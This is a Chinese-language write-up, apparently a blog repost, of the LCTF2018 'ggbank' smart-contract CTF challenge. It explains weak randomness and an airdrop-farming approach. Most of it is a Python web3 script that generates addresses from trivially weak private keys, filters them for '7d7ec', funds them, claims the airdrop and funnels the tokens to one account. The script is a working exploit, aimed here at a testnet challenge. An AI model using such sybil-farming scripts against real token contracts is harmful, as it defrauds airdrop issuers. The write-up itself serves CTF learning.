LCTF2018 ggbank 薅羊毛实战

LCTF2018 ggbank 薅羊毛实战
11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank，题目的原意是考察弱随机数问题，但在题目的设定上挺有意思的，加入了一个对地址的验证，导致弱随机的难度高了许多，反倒是薅羊毛 2018-11-20 16:59:54 Author: lorexxar.cn(查看原文) 阅读量:404 收藏

11.18号结束的LCTF2018中有一个很有趣的智能合约题目叫做ggbank，题目的原意是考察弱随机数问题，但在题目的设定上挺有意思的，加入了一个对地址的验证，导致弱随机的难度高了许多，反倒是薅羊毛更快乐了，下面就借这个题聊聊关于薅羊毛的实战操作。

其实非常简单，这两个数字都是已知的，msg.sender可以直接控制已知的地址，那么左值就是已知的，剩下的就是要等待一个右值出现，由于block.number是自增的，我们可以通过提前计算出一个block.number，然后写脚本监控这个值出现，提前开始发起交易抢打包，就ok了。具体我就不详细提了。可以看看出题人的wp。

首先我们需要有基本的概念，在以太坊上发起交易是需要支付gas的，如果我们不通过合约来交易，那么这笔gas就必须先转账过去eth，然后再发起交易，整个过程困难了好几倍不止。

然后就有了新的问题，在合约中新建合约在EVM中，是属于高消费的操作之一，在以太坊中，每一次交易都会打包进一个区块中，而每一个区块都有gas消费的上限，如果超过了上限，就会爆gas out，然后交易回滚，交易就失败了。

上述的poc中，有一个很特别的点就是我加入了checkfriend的判断，因为我发现循环中如果新建合约的函数调用revert会导致整个交易报错，所以我干脆把整个判断放上来，在判断后再发起交易。

checkfriend只接受地址中带有7d7ec的地址交易，光是这几个字母出现的概率就只有1/36*1/36*1/36*1/36*1/36这个几率在每次随机生成50个合约上计算的话，概率就太小了。

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import ecdsa
import sha3
from binascii import hexlify, unhexlify
from ethereum.utils import privtoaddr, encode_hex
from web3 import Web3
import os
import traceback
import time
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/6528deebaeba45f8a0d005b570bef47d")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)
target = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a"
ggbank = [
    {
"constant": True,
"inputs": [],
"name": "name",
"outputs": [
            {
"name": "",
"type": "string"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "totalSupply",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [
            {
"name": "",
"type": "address"
            }
        ],
"name": "balances",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "INITIAL_SUPPLY",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "decimals",
"outputs": [
            {
"name": "",
"type": "uint8"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "_totalSupply",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "_airdropAmount",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [
            {
"name": "owner",
"type": "address"
            }
        ],
"name": "balanceOf",
"outputs": [
            {
"name": "",
"type": "uint256"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "owner",
"outputs": [
            {
"name": "",
"type": "address"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": True,
"inputs": [],
"name": "symbol",
"outputs": [
            {
"name": "",
"type": "string"
            }
        ],
"payable": False,
"stateMutability": "view",
"type": "function"
    },
    {
"constant": False,
"inputs": [
            {
"name": "_to",
"type": "address"
            },
            {
"name": "_value",
"type": "uint256"
            }
        ],
"name": "transfer",
"outputs": [
            {
"name": "success",
"type": "bool"
            }
        ],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
    },
    {
"constant": False,
"inputs": [
            {
"name": "b64email",
"type": "string"
            }
        ],
"name": "PayForFlag",
"outputs": [
            {
"name": "success",
"type": "bool"
            }
        ],
"payable": True,
"stateMutability": "payable",
"type": "function"
    },
    {
"constant": False,
"inputs": [],
"name": "getAirdrop",
"outputs": [
            {
"name": "success",
"type": "bool"
            }
        ],
"payable": False,
"stateMutability": "nonpayable",
"type": "function"
    },
    {
"constant": False,
"inputs": [],
"name": "goodluck",
"outputs": [
            {
"name": "success",
"type": "bool"
            }
        ],
"payable": True,
"stateMutability": "payable",
"type": "function"
    },
    {
"inputs": [],
"payable": False,
"stateMutability": "nonpayable",
"type": "constructor"
    },
    {
"anonymous": False,
"inputs": [
            {
"indexed": False,
"name": "b64email",
"type": "string"
            },
            {
"indexed": False,
"name": "back",
"type": "string"
            }
        ],
"name": "GetFlag",
"type": "event"
    }
]
mytarget = "0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C"
mytarget_private_key = 这是私钥
transaction_dict = {'chainId': 3,
'from':Web3.toChecksumAddress(mytarget),
'to':'', 
'gasPrice':10000000000, 
'gas':200000,
'nonce': None,
'value':10000000000000000,
'data':""}
ggbank_ins = w3.eth.contract(abi=ggbank)
ggbank_ins = ggbank_ins(address=Web3.toChecksumAddress(target))
nonce = 0
def transfer(address, private_key):
    print(address)
global nonce
if not nonce:
        nonce = w3.eth.getTransactionCount(Web3.toChecksumAddress(mytarget))
    transaction_dict['nonce'] = nonce
    transaction_dict['to'] = Web3.toChecksumAddress(address)
    signed = w3.eth.account.signTransaction(transaction_dict, mytarget_private_key)
    result = w3.eth.sendRawTransaction(signed.rawTransaction)
    nonce +=1
while 1:
if w3.eth.getBalance(Web3.toChecksumAddress(address)) >0:
break
        time.sleep(1)
    nonce2 = w3.eth.getTransactionCount(Web3.toChecksumAddress(address))
    transaction2 = ggbank_ins.functions.getAirdrop().buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
    print(transaction2)
    signed2 = w3.eth.account.signTransaction(transaction2, private_key)
    result2 = w3.eth.sendRawTransaction(signed2.rawTransaction)
    nonce2+=1
    transaction3 = ggbank_ins.functions.transfer(mytarget, int(1000)).buildTransaction({'chainId': 3, 'gas': 200000, 'nonce': nonce2, 'gasPrice': w3.toWei('1', 'gwei')})
    print(transaction3)
    signed3 = w3.eth.account.signTransaction(transaction3, private_key)
    result3 = w3.eth.sendRawTransaction(signed3.rawTransaction)
if __name__ == '__main__':
    j = 0
for i in range(1000000,100000000):
        private_key = "%064d" % i
        address = "0x" + encode_hex(privtoaddr(private_key))
if "7d7ec" in address:
            private_key = unhexlify(private_key)
            print(j)
try:
                transfer(address, private_key)
except:
                traceback.print_exc()
                print("error:"+str(j))
            j+=1

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